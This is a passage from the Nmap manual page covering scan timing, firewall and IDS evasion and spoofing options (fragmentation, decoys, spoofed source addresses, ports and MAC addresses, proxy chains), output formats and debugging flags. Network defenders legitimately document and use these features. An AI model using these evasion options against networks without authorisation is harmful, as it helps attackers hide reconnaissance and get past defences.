an appropriate speed at which to scan.
Sometimes, however, you may happen to know an
appropriate scanning rate for a network, or you
may have to guarantee that a scan will be
finished by a certain time. Or perhaps you must
keep Nmap from scanning too quickly. The
--min-rate and --max-rate options are designed
for these situations.
When the --min-rate option is given Nmap will do
its best to send packets as fast as or faster
than the given rate. The argument is a positive
real number representing a packet rate in
packets per second. For example, specifying
--min-rate 300 means that Nmap will try to keep
the sending rate at or above 300 packets per
second. Specifying a minimum rate does not keep
Nmap from going faster if conditions warrant.
Likewise, --max-rate limits a scan's sending
rate to a given maximum. Use --max-rate 100, for
example, to limit sending to 100 packets per
second on a fast network. Use --max-rate 0.1 for
a slow scan of one packet every ten seconds. Use
--min-rate and --max-rate together to keep the
rate inside a certain range.
These two options are global, affecting an
entire scan, not individual hosts. They only
affect port scans and host discovery scans.
Other features like OS detection implement their
own timing.
There are two conditions when the actual
scanning rate may fall below the requested
minimum. The first is if the minimum is faster
than the fastest rate at which Nmap can send,
which is dependent on hardware. In this case
Nmap will simply send packets as fast as
possible, but be aware that such high rates are
likely to cause a loss of accuracy. The second
case is when Nmap has nothing to send, for
example at the end of a scan when the last
probes have been sent and Nmap is waiting for
them to time out or be responded to. It's normal
to see the scanning rate drop at the end of a
scan or in between hostgroups. The sending rate
may temporarily exceed the maximum to make up
for unpredictable delays, but on average the
rate will stay at or below the maximum.
Specifying a minimum rate should be done with
care. Scanning faster than a network can support
may lead to a loss of accuracy. In some cases,
using a faster rate can make a scan take longer
than it would with a slower rate. This is
because Nmap's adaptive retransmission
algorithms will detect the network congestion
caused by an excessive scanning rate and
increase the number of retransmissions in order
to improve accuracy. So even though packets are
sent at a higher rate, more packets are sent
overall. Cap the number of retransmissions with
the --max-retries option if you need to set an
upper limit on total scan time.
--defeat-rst-ratelimit
Many hosts have long used rate limiting to
reduce the number of ICMP error messages (such
as port-unreachable errors) they send. Some
systems now apply similar rate limits to the RST
(reset) packets they generate. This can slow
Nmap down dramatically as it adjusts its timing
to reflect those rate limits. You can tell Nmap
to ignore those rate limits (for port scans such
as SYN scan which don't treat non-responsive
ports as open) by specifying
--defeat-rst-ratelimit.
Using this option can reduce accuracy, as some
ports will appear non-responsive because Nmap
didn't wait long enough for a rate-limited RST
response. With a SYN scan, the non-response
results in the port being labeled filtered
rather than the closed state we see when RST
packets are received. This option is useful when
you only care about open ports, and
distinguishing between closed and filtered ports
isn't worth the extra time.
--defeat-icmp-ratelimit
Similar to --defeat-rst-ratelimit, the
--defeat-icmp-ratelimit option trades accuracy
for speed, increasing UDP scanning speed against
hosts that rate-limit ICMP error messages.
Because this option causes Nmap to not delay in
order to receive the port unreachable messages,
a non-responsive port will be labeled
closed|filtered instead of the default
open|filtered. This has the effect of only
treating ports which actually respond via UDP as
open. Since many UDP services do not respond in
this way, the chance for inaccuracy is greater
with this option than with
--defeat-rst-ratelimit.
--nsock-engine iocp|epoll|kqueue|poll|select
Enforce use of a given nsock IO multiplexing
engine. Only the select(2)-based fallback engine
is guaranteed to be available on your system.
Engines are named after the name of the IO
management facility they leverage. Engines
currently implemented are epoll, kqueue, poll,
and select, but not all will be present on any
platform. By default, Nmap will use the "best"
engine, i.e. the first one in this list that is
supported. Use nmap -V to see which engines are
supported on your platform.
-T paranoid|sneaky|polite|normal|aggressive|insane
(Set a timing template)
While the fine-grained timing controls discussed
in the previous section are powerful and
effective, some people find them confusing.
Moreover, choosing the appropriate values can
sometimes take more time than the scan you are
trying to optimize. Fortunately, Nmap offers a
simpler approach, with six timing templates. You
can specify them with the -T option and their
number (0–5) or their name. The template names
are paranoid (0), sneaky (1), polite (2),
normal (3), aggressive (4), and insane (5). The
first two are for IDS evasion. Polite mode slows
down the scan to use less bandwidth and target
machine resources. Normal mode is the default
and so -T3 does nothing. Aggressive mode speeds
scans up by making the assumption that you are
on a reasonably fast and reliable network.
Finally insane mode assumes that you are on an
extraordinarily fast network or are willing to
sacrifice some accuracy for speed.
These templates allow the user to specify how
aggressive they wish to be, while leaving Nmap
to pick the exact timing values. The templates
also make some minor speed adjustments for which
fine-grained control options do not currently
exist. For example, -T4 prohibits the dynamic
scan delay from exceeding 10 ms for TCP ports
and -T5 caps that value at 5 ms. Templates can
be used in combination with fine-grained
controls, and the fine-grained controls that you
specify will take precedence over the timing
template default for that parameter. I recommend
using -T4 when scanning reasonably modern and
reliable networks. Keep that option even when
you add fine-grained controls so that you
benefit from those extra minor optimizations
that it enables.
If you are on a decent broadband or ethernet
connection, I would recommend always using -T4.
Some people love -T5 though it is too aggressive
for my taste. People sometimes specify -T2
because they think it is less likely to crash
hosts or because they consider themselves to be
polite in general. They often don't realize just
how slow -T polite really is. Their scan may
take ten times longer than a default scan.
Machine crashes and bandwidth problems are rare
with the default timing options (-T3) and so I
normally recommend that for cautious scanners.
Omitting version detection is far more effective
than playing with timing values at reducing
these problems.
While -T0 and -T1 may be useful for avoiding IDS
alerts, they will take an extraordinarily long
time to scan thousands of machines or ports. For
such a long scan, you may prefer to set the
exact timing values you need rather than rely on
the canned -T0 and -T1 values.
The main effects of T0 are serializing the scan
so only one port is scanned at a time, and
waiting five minutes between sending each probe.
T1 and T2 are similar but they only wait 15
seconds and 0.4 seconds, respectively, between
probes. T3 is Nmap's default behavior, which
includes parallelization. -T4 does the
equivalent of --max-rtt-timeout 1250ms
--min-rtt-timeout 100ms --initial-rtt-timeout
500ms --max-retries 6 and sets the maximum TCP
and SCTP scan delay to 10ms. T5 does the
equivalent of --max-rtt-timeout 300ms
--min-rtt-timeout 50ms --initial-rtt-timeout
250ms --max-retries 2 --host-timeout 15m
--script-timeout 10m --max-scan-delay as well as
setting the maximum TCP and SCTP scan delay to
5ms. Maximum UDP scan delay is not set by T4 or
T5, but it can be set with the --max-scan-delay
option.
FIREWALL/IDS EVASION AND SPOOFING
Many Internet pioneers envisioned a global open
network with a universal IP address space allowing
virtual connections between any two nodes. This
allows hosts to act as true peers, serving and
retrieving information from each other. People could
access all of their home systems from work, changing
the climate control settings or unlocking the doors
for early guests. This vision of universal
connectivity has been stifled by address space
shortages and security concerns. In the early 1990s,
organizations began deploying firewalls for the
express purpose of reducing connectivity. Huge
networks were cordoned off from the unfiltered
Internet by application proxies, network address
translation, and packet filters. The unrestricted
flow of information gave way to tight regulation of
approved communication channels and the content that
passes over them.
Network obstructions such as firewalls can make
mapping a network exceedingly difficult. It will not
get any easier, as stifling casual reconnaissance is
often a key goal of implementing the devices.
Nevertheless, Nmap offers many features to help
understand these complex networks, and to verify
that filters are working as intended. It even
supports mechanisms for bypassing poorly implemented
defenses. One of the best methods of understanding
your network security posture is to try to defeat
it. Place yourself in the mind-set of an attacker,
and deploy techniques from this section against your
networks. Launch an FTP bounce scan, idle scan,
fragmentation attack, or try to tunnel through one
of your own proxies.
In addition to restricting network activity,
companies are increasingly monitoring traffic with
intrusion detection systems (IDS). All of the major
IDSs ship with rules designed to detect Nmap scans
because scans are sometimes a precursor to attacks.
Many of these products have recently morphed into
intrusion prevention systems (IPS) that actively
block traffic deemed malicious. Unfortunately for
network administrators and IDS vendors, reliably
detecting bad intentions by analyzing packet data is
a tough problem. Attackers with patience, skill, and
the help of certain Nmap options can usually pass by
IDSs undetected. Meanwhile, administrators must cope
with large numbers of false positive results where
innocent activity is misdiagnosed and alerted on or
blocked.
Occasionally people suggest that Nmap should not
offer features for evading firewall rules or
sneaking past IDSs. They argue that these features
are just as likely to be misused by attackers as
used by administrators to enhance security. The
problem with this logic is that these methods would
still be used by attackers, who would just find
other tools or patch the functionality into Nmap.
Meanwhile, administrators would find it that much
harder to do their jobs. Deploying only modern,
patched FTP servers is a far more powerful defense
than trying to prevent the distribution of tools
implementing the FTP bounce attack.
There is no magic bullet (or Nmap option) for
detecting and subverting firewalls and IDS systems.
It takes skill and experience. A tutorial is beyond
the scope of this reference guide, which only lists
the relevant options and describes what they do.
-f (fragment packets); --mtu (using the specified
MTU)
The -f option causes the requested scan
(including host discovery scans) to use tiny
fragmented IP packets. The idea is to split up
the TCP header over several packets to make it
harder for packet filters, intrusion detection
systems, and other annoyances to detect what you
are doing. Be careful with this! Some programs
have trouble handling these tiny packets. The
old-school sniffer named Sniffit segmentation
faulted immediately upon receiving the first
fragment. Specify this option once, and Nmap
splits the packets into eight bytes or less
after the IP header. So a 20-byte TCP header
would be split into three packets. Two with
eight bytes of the TCP header, and one with the
final four. Of course each fragment also has an
IP header. Specify -f again to use 16 bytes per
fragment (reducing the number of fragments). Or
you can specify your own offset size with the
--mtu option. Don't also specify -f if you use
--mtu. The offset must be a multiple of eight.
While fragmented packets won't get by packet
filters and firewalls that queue all IP
fragments, such as the CONFIG_IP_ALWAYS_DEFRAG
option in the Linux kernel, some networks can't
afford the performance hit this causes and thus
leave it disabled. Others can't enable this
because fragments may take different routes into
their networks. Some source systems defragment
outgoing packets in the kernel. Linux with the
iptables connection tracking module is one such
example. Do a scan while a sniffer such as
Wireshark is running to ensure that sent packets
are fragmented. If your host OS is causing
problems, try the --send-eth option to bypass
the IP layer and send raw ethernet frames.
Fragmentation is only supported for Nmap's raw
packet features, which includes TCP and UDP port
scans (except connect scan and FTP bounce scan)
and OS detection. Features such as version
detection and the Nmap Scripting Engine
generally don't support fragmentation because
they rely on your host's TCP stack to
communicate with target services.
-D decoy1[,decoy2][,ME][,...] (Cloak a scan with
decoys)
Causes a decoy scan to be performed, which makes
it appear to the remote host that the host(s)
you specify as decoys are scanning the target
network too. Thus their IDS might report 5–10
port scans from unique IP addresses, but they
won't know which IP was scanning them and which
were innocent decoys. While this can be defeated
through router path tracing, response-dropping,
and other active mechanisms, it is generally an
effective technique for hiding your IP address.
Separate each decoy host with commas, and you
can optionally use ME as one of the decoys to
represent the position for your real IP address.
If you put ME in the sixth position or later,
some common port scan detectors (such as Solar
Designer's excellent Scanlogd) are unlikely to
show your IP address at all. If you don't use
ME, Nmap will put you in a random position. You
can also use RND to generate a random,
non-reserved IP address, or RND:number to
generate number addresses.
Note that the hosts you use as decoys should be
up or you might accidentally SYN flood your
targets. Also it will be pretty easy to
determine which host is scanning if only one is
actually up on the network. You might want to
use IP addresses instead of names (so the decoy
networks don't see you in their nameserver
logs). Right now random IP address generation is
only supported with IPv4
Decoys are used both in the initial host
discovery scan (using ICMP, SYN, ACK, or
whatever) and during the actual port scanning
phase. Decoys are also used during remote OS
detection (-O). Decoys do not work with version
detection or TCP connect scan. When a scan delay
is in effect, the delay is enforced between each
batch of spoofed probes, not between each
individual probe. Because decoys are sent as a
batch all at once, they may temporarily violate
congestion control limits.
It is worth noting that using too many decoys
may slow your scan and potentially even make it
less accurate. Also, some ISPs will filter out
your spoofed packets, but many do not restrict
spoofed IP packets at all.
-S IP_Address (Spoof source address)
In some circumstances, Nmap may not be able to
determine your source address (Nmap will tell
you if this is the case). In this situation, use
-S with the IP address of the interface you wish
to send packets through.
Another possible use of this flag is to spoof
the scan to make the targets think that someone
else is scanning them. Imagine a company being
repeatedly port scanned by a competitor! The -e
option and -Pn are generally required for this
sort of usage. Note that you usually won't
receive reply packets back (they will be
addressed to the IP you are spoofing), so Nmap
won't produce useful reports.
-e interface (Use specified interface)
Tells Nmap what interface to send and receive
packets on. Nmap should be able to detect this
automatically, but it will tell you if it
cannot.
--source-port portnumber; -g portnumber (Spoof
source port number)
One surprisingly common misconfiguration is to
trust traffic based only on the source port
number. It is easy to understand how this comes
about. An administrator will set up a shiny new
firewall, only to be flooded with complaints
from ungrateful users whose applications stopped
working. In particular, DNS may be broken
because the UDP DNS replies from external
servers can no longer enter the network. FTP is
another common example. In active FTP transfers,
the remote server tries to establish a
connection back to the client to transfer the
requested file.
Secure solutions to these problems exist, often
in the form of application-level proxies or
protocol-parsing firewall modules. Unfortunately
there are also easier, insecure solutions.
Noting that DNS replies come from port 53 and
active FTP from port 20, many administrators
have fallen into the trap of simply allowing
incoming traffic from those ports. They often
assume that no attacker would notice and exploit
such firewall holes. In other cases,
administrators consider this a short-term
stop-gap measure until they can implement a more
secure solution. Then they forget the security
upgrade.
Overworked network administrators are not the
only ones to fall into this trap. Numerous
products have shipped with these insecure rules.
Even Microsoft has been guilty. The IPsec
filters that shipped with Windows 2000 and
Windows XP contain an implicit rule that allows
all TCP or UDP traffic from port 88 (Kerberos).
In another well-known case, versions of the Zone
Alarm personal firewall up to 2.1.25 allowed any
incoming UDP packets with the source port 53
(DNS) or 67 (DHCP).
Nmap offers the -g and --source-port options
(they are equivalent) to exploit these
weaknesses. Simply provide a port number and
Nmap will send packets from that port where
possible. Most scanning operations that use raw
sockets, including SYN and UDP scans, support
the option completely. The option notably
doesn't have an effect for any operations that
use normal operating system sockets, including
DNS requests, TCP connect scan, version
detection, and script scanning. Setting the
source port also doesn't work for OS detection,
because Nmap must use different port numbers for
certain OS detection tests to work properly.
--data hex string (Append custom binary data to sent
packets)
This option lets you include binary data as
payload in sent packets. hex string may be
specified in any of the following formats:
0xAABBCCDDEEFF..., AABBCCDDEEFF... or
\xAA\xBB\xCC\xDD\xEE\xFF.... Examples of use are
--data 0xdeadbeef and --data \xCA\xFE\x09. Note
that if you specify a number like 0x00ff no
byte-order conversion is performed. Make sure
you specify the information in the byte order
expected by the receiver.
--data-string string (Append custom string to sent
packets)
This option lets you include a regular string as
payload in sent packets. string can contain any
string. However, note that some characters may
depend on your system's locale and the receiver
may not see the same information. Also, make
sure you enclose the string in double quotes and
escape any special characters from the shell.
Examples: --data-string "Scan conducted by
Security Ops, extension 7192" or --data-string
"Ph34r my l33t skills". Keep in mind that nobody
is likely to actually see any comments left by
this option unless they are carefully monitoring
the network with a sniffer or custom IDS rules.
--data-length number (Append random data to sent
packets)
Normally Nmap sends minimalist packets
containing only a header. So its TCP packets are
generally 40 bytes and ICMP echo requests are
just 28. Some UDP ports and IP protocols get a
custom payload by default. This option tells
Nmap to append the given number of random bytes
to most of the packets it sends, and not to use
any protocol-specific payloads. (Use
--data-length 0 for no random or
protocol-specific payloads. OS detection (-O)
packets are not affected because accuracy there
requires probe consistency, but most pinging and
portscan packets support this. It slows things
down a little, but can make a scan slightly less
conspicuous.
--ip-options S|R [route]|L [route]|T|U ... ;
--ip-options hex string (Send packets with specified
ip options)
The IP protocol[12] offers several options which
may be placed in packet headers. Unlike the
ubiquitous TCP options, IP options are rarely
seen due to practicality and security concerns.
In fact, many Internet routers block the most
dangerous options such as source routing. Yet
options can still be useful in some cases for
determining and manipulating the network route
to target machines. For example, you may be able
to use the record route option to determine a
path to a target even when more traditional
traceroute-style approaches fail. Or if your
packets are being dropped by a certain firewall,
you may be able to specify a different route
with the strict or loose source routing options.
The most powerful way to specify IP options is
to simply pass in values as the argument to
--ip-options. Precede each hex number with \x
then the two digits. You may repeat certain
characters by following them with an asterisk
and then the number of times you wish them to
repeat. For example, \x01\x07\x04\x00*36\x01 is
a hex string containing 36 NUL bytes.
Nmap also offers a shortcut mechanism for
specifying options. Simply pass the letter R, T,
or U to request record-route, record-timestamp,
or both options together, respectively. Loose or
strict source routing may be specified with an L
or S followed by a space and then a
space-separated list of IP addresses.
If you wish to see the options in packets sent
and received, specify --packet-trace. For more
information and examples of using IP options
with Nmap, see
http://seclists.org/nmap-dev/2006/q3/52.
--ttl value (Set IP time-to-live field)
Sets the IPv4 time-to-live field in sent packets
to the given value.
--randomize-hosts (Randomize target host order)
Tells Nmap to shuffle each group of up to 16384
hosts before it scans them. This can make the
scans less obvious to various network monitoring
systems, especially when you combine it with
slow timing options. If you want to randomize
over larger group sizes, increase PING_GROUP_SZ
in nmap.h and recompile. An alternative solution
is to generate the target IP list with a list
scan (-sL -n -oN filename), randomize it with a
Perl script, then provide the whole list to Nmap
with -iL.
--spoof-mac MAC address, prefix, or vendor name
(Spoof MAC address)
Asks Nmap to use the given MAC address
for all of the raw ethernet frames it sends.
This option implies --send-eth to ensure that
Nmap actually sends ethernet-level packets. The
MAC given can take several formats. If it is
simply the number 0, Nmap chooses a completely
random MAC address for the session. If the given
string is an even number of hex digits (with the
pairs optionally separated by a colon), Nmap
will use those as the MAC. If fewer than 12 hex
digits are provided, Nmap fills in the remainder
of the six bytes with random values. If the
argument isn't a zero or hex string, Nmap looks
through nmap-mac-prefixes to find a vendor name
containing the given string (it is case
insensitive). If a match is found, Nmap uses the
vendor's OUI (three-byte prefix) and fills out
the remaining three bytes randomly. Valid
--spoof-mac argument examples are Apple, 0,
01:02:03:04:05:06, deadbeefcafe, 0020F2, and
Cisco. This option only affects raw packet scans
such as SYN scan or OS detection, not
connection-oriented features such as version
detection or the Nmap Scripting Engine.
--proxies Comma-separated list of proxy URLs (Relay
TCP connections through a chain of proxies)
Asks Nmap to establish TCP connections with a
final target through supplied chain of one or
more HTTP or SOCKS4 proxies. Proxies can help
hide the true source of a scan or evade certain
firewall restrictions, but they can hamper scan
performance by increasing latency. Users may
need to adjust Nmap timeouts and other scan
parameters accordingly. In particular, a lower
--max-parallelism may help because some proxies
refuse to handle as many concurrent connections
as Nmap opens by default.
This option takes a list of proxies as argument,
expressed as URLs in the format
proto://host:port. Use commas to separate node
URLs in a chain. No authentication is supported
yet. Valid protocols are HTTP and SOCKS4.
Warning: this feature is still under development
and has limitations. It is implemented within
the nsock library and thus has no effect on the
ping, port scanning and OS discovery phases of a
scan. Only NSE and version scan benefit from
this option so far—other features may disclose
your true address. SSL connections are not yet
supported, nor is proxy-side DNS resolution
(hostnames are always resolved by Nmap).
--badsum (Send packets with bogus TCP/UDP checksums)
Asks Nmap to use an invalid TCP, UDP or SCTP
checksum for packets sent to target hosts. Since
virtually all host IP stacks properly drop these
packets, any responses received are likely
coming from a firewall or IDS that didn't bother
to verify the checksum. For more details on this
technique, see https://nmap.org/p60-12.html
--adler32 (Use deprecated Adler32 instead of CRC32C
for SCTP checksums)
Asks Nmap to use the deprecated Adler32
algorithm for calculating the SCTP checksum. If
--adler32 is not given, CRC-32C (Castagnoli) is
used. RFC 2960[13] originally defined Adler32
as checksum algorithm for SCTP; RFC 4960[6]
later redefined the SCTP checksums to use
CRC-32C. Current SCTP implementations should be
using CRC-32C, but in order to elicit responses
from old, legacy SCTP implementations, it may be
preferable to use Adler32.
OUTPUT
Any security tool is only as useful as the output it
generates. Complex tests and algorithms are of
little value if they aren't presented in an
organized and comprehensible fashion. Given the
number of ways Nmap is used by people and other
software, no single format can please everyone. So
Nmap offers several formats, including the
interactive mode for humans to read directly and XML
for easy parsing by software.
In addition to offering different output formats,
Nmap provides options for controlling the verbosity
of output as well as debugging messages. Output
types may be sent to standard output or to named
files, which Nmap can append to or clobber. Output
files may also be used to resume aborted scans.
Nmap makes output available in five different
formats. The default is called interactive output,
and it is sent to standard output (stdout). There
is also normal output, which is similar to
interactive except that it displays less runtime
information and warnings since it is expected to be
analyzed after the scan completes rather than
interactively.
XML output is one of the most important output
types, as it can be converted to HTML, easily parsed
by programs such as Nmap graphical user interfaces,
or imported into databases.
The two remaining output types are the simple
grepable output which includes most information for
a target host on a single line, and sCRiPt KiDDi3
0utPUt for users who consider themselves |<-r4d.
While interactive output is the default and has no
associated command-line options, the other four
format options use the same syntax. They take one
argument, which is the filename that results should
be stored in. Multiple formats may be specified, but
each format may only be specified once. For example,
you may wish to save normal output for your own
review while saving XML of the same scan for
programmatic analysis. You might do this with the
options -oX myscan.xml -oN myscan.nmap. While this
chapter uses the simple names like myscan.xml for
brevity, more descriptive names are generally
recommended. The names chosen are a matter of
personal preference, though I use long ones that
incorporate the scan date and a word or two
describing the scan, placed in a directory named
after the company I'm scanning.
While these options save results to files, Nmap
still prints interactive output to stdout as usual.
For example, the command nmap -oX myscan.xml target
prints XML to myscan.xml and fills standard output
with the same interactive results it would have
printed if -oX wasn't specified at all. You can
change this by passing a hyphen character as the
argument to one of the format types. This causes
Nmap to deactivate interactive output, and instead
print results in the format you specified to the
standard output stream. So the command nmap -oX -
target will send only XML output to stdout. Serious
errors may still be printed to the normal error
stream, stderr.
Unlike some Nmap arguments, the space between the
logfile option flag (such as -oX) and the filename
or hyphen is mandatory. If you omit the flags and
give arguments such as -oG- or -oXscan.xml, a
backwards compatibility feature of Nmap will cause
the creation of normal format output files named G-
and Xscan.xml respectively.
All of these arguments support strftime-like
conversions in the filename. %H, %M, %S, %m, %d,
%y, and %Y are all exactly the same as in strftime.
%T is the same as %H%M%S, %R is the same as %H%M,
and %D is the same as %m%d%y. A % followed by any
other character just yields that character (%% gives
you a percent symbol). So -oX 'scan-%T-%D.xml' will
use an XML file with a name in the form of
scan-144840-121307.xml.
Nmap also offers options to control scan verbosity
and to append to output files rather than clobbering
them. All of these options are described below.
Nmap Output Formats
-oN filespec (normal output)
Requests that normal output be directed to the
given filename. As discussed above, this differs
slightly from interactive output.
-oX filespec (XML output)
Requests that XML output be directed to the
given filename. Nmap includes a document type
definition (DTD) which allows XML parsers to
validate Nmap XML output. While it is primarily
intended for programmatic use, it can also help
humans interpret Nmap XML output. The DTD
defines the legal elements of the format, and
often enumerates the attributes and values they
can take on. The latest version is always
available from
https://svn.nmap.org/nmap/docs/nmap.dtd.
XML offers a stable format that is easily parsed
by software. Free XML parsers are available for
all major computer languages, including C/C++,
Perl, Python, and Java. People have even written
bindings for most of these languages to handle
Nmap output and execution specifically. Examples
are Nmap::Scanner[14] and Nmap::Parser[15] in
Perl CPAN. In almost all cases that a
non-trivial application interfaces with Nmap,
XML is the preferred format.
The XML output references an XSL stylesheet
which can be used to format the results as HTML.
The easiest way to use this is simply to load
the XML output in a web browser such as Firefox
or IE. By default, this will only work on the
machine you ran Nmap on (or a similarly
configured one) due to the hard-coded nmap.xsl
filesystem path. Use the --webxml or
--stylesheet options to create portable XML
files that render as HTML on any web-connected
machine.
-oS filespec (ScRipT KIdd|3 oUTpuT)
Script kiddie output is like interactive output,
except that it is post-processed to better suit
the l33t HaXXorZ who previously looked down on
Nmap due to its consistent capitalization and
spelling. Humor impaired people should note that
this option is making fun of the script kiddies
before flaming me for supposedly “helping them”.
-oG filespec (grepable output)
This output format is covered last because it is
deprecated. The XML output format is far more
powerful, and is nearly as convenient for
experienced users. XML is a standard for which
dozens of excellent parsers are available, while
grepable output is my own simple hack. XML is
extensible to support new Nmap features as they
are released, while I often must omit those
features from grepable output for lack of a
place to put them.
Nevertheless, grepable output is still quite
popular. It is a simple format that lists each
host on one line and can be trivially searched
and parsed with standard Unix tools such as
grep, awk, cut, sed, diff, and Perl. Even I
usually use it for one-off tests done at the
command line. Finding all the hosts with the SSH
port open or that are running Solaris takes only
a simple grep to identify the hosts, piped to an
awk or cut command to print the desired fields.
Grepable output consists of comments (lines
starting with a pound (#)) and target lines. A
target line includes a combination of six
labeled fields, separated by tabs and followed
with a colon. The fields are Host, Ports,
Protocols, Ignored State, OS, Seq Index, IP ID,
and Status.
The most important of these fields is generally
Ports, which gives details on each interesting
port. It is a comma separated list of port
entries. Each port entry represents one
interesting port, and takes the form of seven
slash (/) separated subfields. Those subfields
are: Port number, State, Protocol, Owner,
Service, SunRPC info, and Version info.
As with XML output, this man page does not allow
for documenting the entire format. A more
detailed look at the Nmap grepable output format
is available from
https://nmap.org/book/output-formats-grepable-output.html.
-oA basename (Output to all formats)
As a convenience, you may specify -oA basename
to store scan results in normal, XML, and
grepable formats at once. They are stored in
basename.nmap, basename.xml, and basename.gnmap,
respectively. As with most programs, you can
prefix the filenames with a directory path, such
as ~/nmaplogs/foocorp/ on Unix or c:\hacking\sco
on Windows.
Verbosity and debugging options
-v (Increase verbosity level), -vlevel (Set
verbosity level)
Increases the verbosity level, causing Nmap to
print more information about the scan in
progress. Open ports are shown as they are found
and completion time estimates are provided when
Nmap thinks a scan will take more than a few
minutes. Use it twice or more for even greater
verbosity: -vv, or give a verbosity level
directly, for example -v3.
Most changes only affect interactive output, and
some also affect normal and script kiddie
output. The other output types are meant to be
processed by machines, so Nmap can give
substantial detail by default in those formats
without fatiguing a human user. However, there
are a few changes in other modes where output
size can be reduced substantially by omitting
some detail. For example, a comment line in the
grepable output that provides a list of all
ports scanned is only printed in verbose mode
because it can be quite long.
-d (Increase debugging level), -dlevel (Set
debugging level)
When even verbose mode doesn't provide
sufficient data for you, debugging is available
to flood you with much more! As with the
verbosity option (-v), debugging is enabled with
a command-line flag (-d) and the debug level can
be increased by specifying it multiple times, as
in -dd, or by setting a level directly. For
example, -d9 sets level nine. That is the
highest effective level and will produce
thousands of lines unless you run a very simple
scan with very few ports and targets.
Debugging output is useful when a bug is
suspected in Nmap, or if you are simply confused
as to what Nmap is doing and why. As this
feature is mostly intended for developers, debug
lines aren't always self-explanatory. You may
get something like: Timeout vals: srtt: -1
rttvar: -1 to: 1000000 delta 14987 ==> srtt:
14987 rttvar: 14987 to: 100000. If you don't
understand a line, your only recourses are to
ignore it, look it up in the source code, or
request help from the development list
(nmap-dev). Some lines are self explanatory,
but the messages become more obscure as the
debug level is increased.
--reason (Host and port state reasons)
Shows the reason each port is set to a specific
state and the reason each host is up or down.
This option displays the type of the packet that
determined a port or hosts state. For example, A
RST packet from a closed port or an echo reply
from an alive host. The information Nmap can
provide is determined by the type of scan or
ping. The SYN scan and SYN ping (-sS and -PS)
are very detailed, but the TCP connect scan
(-sT) is limited by the implementation of the
connect system call. This feature is
automatically enabled by the debug option (-d)
and the results are stored in XML log files even
if this option is not specified.
--stats-every time (Print periodic timing stats)
Periodically prints a timing status message
after each interval of time. The time is a
specification of the kind described in the
section called “TIMING AND PERFORMANCE”; so for
example, use --stats-every 10s to get a status
update every 10 seconds. Updates are printed to
interactive output (the screen) and XML output.
--packet-trace (Trace packets and data sent and
received)
Causes Nmap to print a summary of every packet
sent or received. This is often used for
debugging, but is also a valuable way for new
users to understand exactly what Nmap is doing
under the covers. To avoid printing thousands of
lines, you may want to specify a limited number
of ports to scan, such as -p20-30. If you only
care about the goings on of the version
detection subsystem, use --version-trace
instead. If you only care about script tracing,
specify --script-trace. With --packet-trace, you
get all of the above.
--open (Show only open (or possibly open) ports)
Sometimes you only care about ports you can
actually connect to (open ones), and don't want
results cluttered with closed, filtered, and
closed|filtered ports. Output customization is
normally done after the scan using tools such as
grep, awk, and Perl, but this feature was added
due to overwhelming requests. Specify --open to
only see hosts with at least one open,
open|filtered, or unfiltered port, and only see
ports in those states. These three states are
treated just as they normally are, which means
that open|filtered and unfiltered may be
condensed into counts if there are an
overwhelming number of them.
Beginning with Nmap 7.40, the --open option
implies
--defeat-rst-ratelimit, because that option only
affects closed and filtered ports, which are
hidden by --open.
--iflist (List interfaces and routes)
Prints the interface list and system routes as
detected by Nmap and quits. This is useful for
debugging routing problems or device
mischaracterization (such as Nmap treating a PPP
connection as ethernet).
Miscellaneous output options
--append-output (Append to rather than clobber
output files)
When you specify a filename to an output format
flag such as -oX or -oN, that file is
overwritten by default. If you prefer to keep
the existing content of the file and append the
new results, specify the --append-output option.
All output filenames specified in that Nmap
execution will then be appended to rather than
clobbered. This doesn't work well for XML (-oX)
scan data as the resultant file generally won't
parse properly until you fix it up by hand.
--resume filename (Resume aborted scan)
Some extensive Nmap runs take a very long time—
on the order of days. Such scans don't always
run to completion. Restrictions may prevent Nmap
from being run during working hours, the network
could go down, the machine Nmap is running on
might suffer a planned or unplanned reboot, or
Nmap itself could crash. The administrator
running Nmap could cancel it for any other
reason as well, by pressing ctrl-C. Restarting
the whole scan from the beginning may be
undesirable. Fortunately, if scan output files
were kept, the user can ask Nmap to resume
scanning with the target it was working on when
execution ceased. Simply specify the --resume
option and pass the output file as its argument.
No other arguments are permitted, as Nmap parses
the output file to use the same ones specified
previously. Simply call Nmap as nmap --resume
logfilename. Nmap will append new results to the
data files specified in the previous execution.
Scans can be resumed from any of the 3 major
output formats: Normal, Grepable, or XML
--noninteractive (Disable runtime interactions)
At times, such as when running Nmap in a shell
background, it might be undesirable for Nmap to
monitor and respond to user keyboard input when
running. (See the section called “RUNTIME
INTERACTION” about how to control Nmap during a
scan.) Use option --noninteractive to prevent
Nmap taking control of the terminal.
--stylesheet path or URL (Set XSL stylesheet to
transform XML output)
Nmap ships with an XSL stylesheet named nmap.xsl
for viewing or translating XML output to HTML.
The XML output includes an xml-stylesheet
directive which points to nmap.xml where it was
initially installed by Nmap. Run the XML file
through an XSLT processor such as xsltproc[16]
to produce an HTML file. Directly opening the
XML file in a browser no longer works well
because modern browsers limit the locations a
stylesheet may be loaded from. If you wish to
use a different stylesheet, specify it as the
argument to --stylesheet. You must pass the full
pathname or URL. One common invocation is
--stylesheet https://nmap.org/svn/docs/nmap.xsl.
This tells an XSLT processor to load the latest
version of the stylesheet from Nmap.Org. The
--webxml option does the same thing with less
typing and memorization. Loading the XSL from
Nmap.Org makes it easier to view results on a
machine that doesn't have Nmap (and thus
nmap.xsl) installed. So the URL is often more
useful, but the local filesystem location of
nmap.xsl is used by default for privacy reasons.
--webxml (Load stylesheet from Nmap.Org)
This is a convenience option, nothing more than
an alias for --stylesheet
https://nmap.org/svn/docs/nmap.xsl.
--no-stylesheet (Omit XSL stylesheet declaration
from XML)
Specify this option to prevent Nmap from
associating any XSL stylesheet with its XML
output. The xml-stylesheet directive is omitted.
MISCELLANEOUS OPTIONS
This section describes some important (and
not-so-important) options that don't really fit
anywhere else.
-6 (Enable IPv6 scanning)
Nmap has IPv6 support for its most popular
features. Ping scanning, port scanning, version
detection, and the Nmap Scripting Engine all
support IPv6. The command syntax is the same as
usual except that you also add the -6 option. Of
course, you must use IPv6 syntax if you specify
an address rather than a hostname. An address
might look like
3ffe:7501:4819:2000:210:f3ff:fe03:14d0, so
hostnames are recommended. The output looks the
same as usual, with the IPv6 address on the
“interesting ports” line being the only IPv6
giveaway.
While IPv6 hasn't exactly taken the world by
storm, it gets significant use in some (usually
Asian) countries and most modern operating
systems support it. To use Nmap with IPv6, both
the source and target of your scan must be
configured for IPv6. If your ISP (like most of
them) does not allocate IPv6 addresses to you,
